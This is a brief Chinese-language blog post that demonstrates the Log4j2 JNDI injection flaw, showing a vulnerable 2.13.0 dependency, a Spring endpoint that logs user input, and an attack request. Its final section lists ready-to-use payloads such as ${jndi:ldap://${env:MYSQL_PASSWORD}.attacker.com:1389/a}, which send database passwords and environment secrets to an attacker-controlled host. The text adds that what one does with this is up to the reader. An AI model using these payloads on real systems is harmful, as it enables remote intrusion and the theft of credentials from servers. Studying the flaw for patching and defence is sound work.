梦想还是要有的,万一忘了咋办?

0%

Log4j2 Jndi漏洞

目录:

  • 搭建环境
  • 模拟攻击

引入依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.0</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.0</version>
</dependency>

单元测试

1
2
3
4
public static void main(String[] args) {
Logger logger = new LoggerContext("root").getLogger("xxxxxxx");
logger.error("${jndi:ldap://localhost:8081/abcde}");
}

引用场景

1、你有一个互联网应用

1
2
3
4
5
@GetMapping("search")
public String search(@RequestParam String keyword) {
log.info("search keyword is " + keyword);
return "ok";
}

2、模拟攻击

1
GET /xxx/search?keyword=${jndi:ldap://攻击者准备的一个服务器地址/abcde}

3、这样就完成了让对方服务器加载你的一个地址;至于能做什么看你怎么想了

1
2
3
4
5
6
7
8
${jndi:ldap://${sys:db.password}.attacker.com:1389/a}

${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}}

${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}

${jndi:ldap://${bundle:application:spring.datasource.password}.attacker.com:1389/a}

关注

https://github.com/apache/logging-log4j2/pull/608